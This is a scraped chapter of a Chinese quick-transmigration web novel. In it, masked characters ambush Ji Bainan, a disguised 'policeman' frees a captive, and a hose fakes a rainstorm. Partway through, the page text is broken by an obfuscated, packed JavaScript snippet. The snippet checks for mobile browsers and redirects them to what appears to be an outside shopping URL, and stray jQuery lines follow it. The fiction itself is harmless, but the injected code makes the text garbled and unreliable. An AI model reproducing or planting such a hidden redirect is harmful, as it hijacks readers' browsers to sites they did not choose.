27. 第 27 章

作品:《命运派单[快穿]

    季柏南被惊得后退半步,从颓丧中惊醒,看着眼前这潦草伪装的二人,一时竟有些荒谬感。


    “你们想干什么?这是法治社会!”他蹙眉,试图拿出平日里季家少爷的气势。


    右边的矮个男开口了,变着调的声音十分清亮,理由更是离谱:“看你不顺眼!谁让你走路先迈右脚的?”


    季柏南:“……?”


    他愣了两秒,气极反笑,“胡扯八道!真当蒙个面我就认不出来了?”


    他猛地伸手指向高个男,“你!整天围着夏琪装深情装体贴的死绿茶!”


    手指又转向矮个男,借着路灯仔细辨认了一下,“你……你是表哥家那个新来的园丁!我记得你!”


    他越说越惊疑,眼神锐利起来,“你们怎么会混在一起?有什么目的?是不是跟夏琪有关?我警告你们,别想伤害夏琪!”


    被点破身份的云颂索性不再刻意变声,清冷的声音透过面罩传来,带着明显的讥诮与怒意:


    “伤害她最深的不就是你吗?季柏南!我们为什么凑在一起?就是为了替夏琪出这口恶气!就是看不惯你这种肆意伤人还不自知的混账!”


    她的话掷地有声,在雨夜里格外清晰。


    季柏南如遭重击,满腔的质问和怒气瞬间消散,取而代之的是更深重的羞愧与无力。


    他肩膀垮了下来,喃喃道:“是……是我对不起她。你们……要打就打吧。”


    他竟然真的闭上了眼,一副任凭处置、绝不还手的颓然模样。


    这反应倒让云颂和谷叙明愣了一下,随即见机行事,立即上前拳打脚踢。


    “住手!”


    一声冷喝骤然响起,撕破了沉寂雨幕。


    梁亦泽快步赶来,甚至没打伞,细雨瞬间沾湿了他额前的黑发与肩头。


    他脸色沉凝,目光如电,瞬间扫过现场,颓然闭目的表弟,两个面罩的“袭击者”。


    他的视线在高个男身上停留半秒,那熟悉的身形轮廓和那即便隔着面罩也隐约流露的又痞又贱的气质,让他瞳孔骤缩。


    几乎没怎么回忆,那日玻璃花房被强吻的触感和厌恶感瞬间复苏。


    “是你。”梁亦泽声音冰冷,不是疑问,而是陈述。


    他来不及辨认矮个男,大步流星上前,目标明确直取谷叙明。


    谷叙明心里叫苦不迭,他不能暴露身份动用超出常人的力量,只得慌忙招架。


    梁亦泽身手极好,动作干脆利落,带着压抑的怒火,几下就格开谷叙明的防守,一拳狠狠砸在他肩胛处,力道之大让谷叙明闷哼一声。


    这时,跟在梁亦泽身后的裴姝也跑了过来,细雨打湿了她额前的刘海。


    她一眼就认出了矮个男是云颂,两人目光在空中飞快交汇。


    裴姝的小脑袋紧急运转:梁亦泽在打谷叙明,云颂是同伴,自己现在和梁亦泽是一起的……


    如果自己站着不动,肯定会引起怀疑。


    电光石火间,她“领悟”了:她得“帮忙”,至少得装出帮忙的样子!


    于是,在梁亦泽压制着谷叙明、季柏南愣在一旁的混乱中,裴姝毅然决然地转向了云颂,小脸上摆出“我很凶”的表情。


    “住手!往哪儿跑!”


    裴姝大喝一声,慢悠悠地、像公园里老爷爷打太极一样,朝着云颂的方向送出了一记轻飘飘的“直拳”,速度慢得简直像电影慢放。


    云颂蒙面后的眼角狠狠一抽,但反应极快,配合地、极其夸张地一个“哎呀”后仰,脚下踉跄半步,仿佛堪堪躲过什么雷霆一击,动作幅度之大,差点自己把自己绊倒。


    裴姝见第一招“奏效”,信心大增,又如法炮制,慢动作抬腿,做了一个毫无威慑力的“侧踢”。


    云颂立刻默契地、以一种芭蕾舞者般轻盈又夸张的姿态,凌空一个“华丽”的侧翻,落地时还故作不稳晃了晃,完美“避开”。


    两个人就这么在淅淅沥沥的雨夜里,上演了一出无声的、慢动作的、充满奇异默契和滑稽感的“武打戏”,与旁边梁亦泽实打实的压制性格斗形成鲜明对比。


    假装过招两三个回合后,裴姝瞅准一个“空档”,让云颂一掌“推”在自己肩头。


    她立刻配合地“啊”了一声,向后“踉跄”数步,仿佛不敌。


    云颂则趁机对她使了个眼色,转身“仓皇”逃入旁边的巷弄阴影中,消失不见。


    “她跑了!”裴姝稳住身形,对着巷口方向说道,语气里还带着点完成任务的小小喘息。


    而另一边,梁亦泽已完全制住了谷叙明。


    谷叙明憋屈得不行,束手束脚不敢用真本事,几番下来完全落入下风。


    梁亦泽单手解下领带,利落地反捆住了谷叙明的手腕,动作娴熟,脸色冷峻。


    “表哥,这……到底怎么回事?”


    季柏南看着被捆住,还在挣扎的人,又看看“击退”了另一个袭击者、跑回梁亦泽身边的裴姝,彻底糊涂了。


    梁亦泽没解释,只是冷冷看了一眼还在试图扭动脱身的谷叙明,对季柏南道:


    “你先回去,处理好你自己的事。这个人,”他拽了一下领带,谷叙明一个趔趄,“我送他去警局。”


    雨夜的街道空旷湿冷,此时雨势变小,淅淅蒙蒙的雨丝模糊了路上街景,让四周看起来不太真实。


    梁亦泽沉默地压着浑身散发怨念的谷叙明,裴姝跟在后面,心里急得像有只小爪子在挠,想不出解救谷叙明的办法。


    正焦虑间,前方路口拐角处,一道穿着警用雨衣的身影忽然出现,站在路灯下,似乎正在巡逻。


    看到他们走过来,那“警察”举起手电,示意他们停下。


    “警察”走近,手电光在车窗上扫过,照亮一张严肃的国字脸,声音板正:“这么晚了,怎么回事?”


    裴姝的心却猛地一跳,尽管变幻了外貌、声音甚至气质,但那“警察”看向她时,裴姝还是立即认出他是云颂。


    几乎是条件反射,裴姝抢在梁亦泽开口前,指着谷叙明,语气急切又“诚实”地对“警察”说:


    “警察叔叔,这个人是个坏蛋,我们抓到他,正要送去警局呢!”


    警察严肃地点点头,一副公事公办的口吻:“见义勇为是好事。既然你们也是送去警局,那就交给我吧,我带他回去处理,也省得你们跑一趟。”


    说着,她就要伸手来接梁亦泽手中牵着谷叙明的领带。


    梁亦泽一直没说话,只是静静看着这位突然出现的“警察”。


    就在“警察”的手指即将碰到领带的刹那,梁亦泽手腕一翻,快如闪电般地扣住了对方的手腕。


    力道不重,却带着不容置疑的钳制。


    “警察同志,”梁亦泽开口,声音平稳,听不出喜怒,却比窗外的雨更冷,“这个时间,这个地段,只有你一人巡逻?而且……”


    他目光如实质般落在“警察”脸上,仿佛要穿透那层伪装,“你的出警配置,似乎不太符合规定。”


    云颂心中警铃大作,暗道不妙。


    梁亦泽的敏锐远超预期,她反应极快,被扣住的手腕灵巧地一扭一滑,用了巧劲挣脱开来,同时另一只手疾如风地夺过梁亦泽手中牵制谷叙明的领带。


    “快跑!”她低喝一声,拽着还被绑着、踉踉跄跄的谷叙明,转身就朝着路旁昏暗的巷子狂奔而去。


    梁亦泽眼神一凛,就要去追,动作快且果断,带着一种势在必得的冷峻。


    裴姝深知演戏骗不了梁亦泽,在电光火石之间,狠了狠心,撞向旁边那根粗壮的水泥电线杆。


    “哎呀!”


    一声痛苦又惊慌的哀嚎突然响起,声音之大,在寂静的雨夜里格外刺耳。


    裴姝捂着额头,晕头转向地晃了晃,然后直挺挺地向后倒去,重重摔在湿漉漉的人行道上,发出沉闷的声响,溅起细小水花。


    梁亦泽脚步猛地顿住,急急回头,立即跑去扶起裴姝。


    让那两人消失在眼皮底下。


    季柏南拖着满是伤痕的身体,踉跄着来到夏琪家楼下时,已是深夜。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186515|194526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    公寓楼灯火零星,唯有夏琪那层还亮着温暖的橘色光晕,却紧闭如堡垒。


    他一遍遍拨打电话,回应他的只有冰冷的忙音。


    短信塞满了屏幕,却石沉大海。


    最后,他仰起头,对着那扇窗嘶哑地喊:“夏琪!我知道错了!你听我解释!求你了……”


    回应他的,只有夜风卷着渐起的雨丝。


    季柏南脸上分不清是雨水还是泪水,他死死咬着后槽牙,像是下了某种破釜沉舟的决心,双膝一弯,直挺挺地跪在了冰凉湿滑的地砖上。


    “你不原谅我,我就跪到你肯见我为止!”


    他对着那扇窗吼道,声音在空旷的庭院里回荡,带着孤注一掷的执拗。


    起初,只是淅淅沥沥的秋雨,落在身上带来丝丝寒意。


    但没过多久,雨势骤然狂暴起来。


    豆大的雨点噼里啪啦砸下,瞬间连成密集的雨幕,将他彻底笼罩。


    雨水顺着他的头发、脸颊、脖颈疯狂流淌,昂贵的西装紧紧贴在身上,勾勒出狼狈颤抖的轮廓。


    跪在雨幕中的身影,显得格外渺小、可怜,又顽固。


    不远处的景观树上,繁茂枝叶在暴雨中摇晃。


    两根较粗的枝干交叠处,蹲着刚刚从梁亦泽手下惊险逃脱的云颂和谷叙明。


    谷叙明找来一根粗大的园艺水管,一端隐秘地接在附近的景观用水龙头上。


    他调整着角度,将水管出水口对准下方季柏南跪着的那一小片区域,于是,那一片的雨势顿时从“细密”升级为“滂沱”。


    水柱哗啦啦冲刷在季柏南身上,让他连睁眼都困难,只能蜷缩着身体硬扛,看起来惨上加惨,效果拔群。


    “啧,这雨下得够意思了吧?”谷叙明甩了甩湿漉漉的刘海,肩胛骨还在隐隐作痛。


    云颂蹲在另一根树枝上,身体绷紧,目光如炬,紧紧锁定着夏琪家那扇亮灯的窗户。


    雨水顺着她利落的短发和下颌线滴落,她却浑然不觉,全部注意力都在那微微掀开一角的窗帘后。


    那里,隐约有一道纤细的身影,已经伫立了许久,正透过缝隙,无声地注视着楼下那个在“特大暴雨”中固执下跪的男人。


    看那身影微微颤抖的肩膀和迟迟没有拉严的窗帘,云颂一直紧蹙的眉头才几不可察地松了松。


    她呼出一口气,紧绷的神经稍缓,伸手一把夺过谷叙明手里的水管。


    “行了,别玩了。水量保持住就行。”她的声音在雨声中有些模糊,但语气是惯有的冷静,“你去歇会儿。”


    谷叙明手上一空,侧头看她。


    他眉峰一挑,那股子玩世不恭的劲儿又上来了。


    谷叙明非但没挪开,反而凑近了些,湿漉漉的气息几乎拂到云颂耳边,压低的声音透着股磁性:


    “我们铁石心肠的云颂大王……这是在心疼我?”


    他刻意动了动受伤的那边肩膀,做出一个略显夸张的吃痛表情,“也是,刚才为了掩护某人撤退,我可是结结实实挨了好几下呢。”


    云颂身体几不可察地僵了一下,随即猛地扭过头,狠狠瞪了他一眼。


    雨水顺着她长而密的睫毛滑落,像倔强的泪,但眼神里的嫌弃和“你想多了”的意味几乎要溢出来。


    “少自作多情!”她嗤道,语气硬邦邦的,“我只是怕你伤口疼得手抖,把控不好水量,坏了任务!纯粹是……可怜你罢了!”


    她抢过水管,自己稳稳地对着下方,不再看他。


    谷叙明看着她明明有点别扭却强撑傲娇的侧影,低低地笑了一声,那笑声在雨夜里带着点沙哑的磁性,意外地好听。


    他不再逗她,从善如流地往后挪了挪,倚靠在一根相对粗壮的主干上,伸展了一下修长的四肢。


    “得嘞,大王发话,小的遵命。”


    他语调轻快,带着点慵懒的痞气,“那您受累盯着,我先眯会儿。”


    说罢,竟然真的闭上眼睛,调整了一个看似随意实则稳当的姿势,呼吸渐渐平稳下来。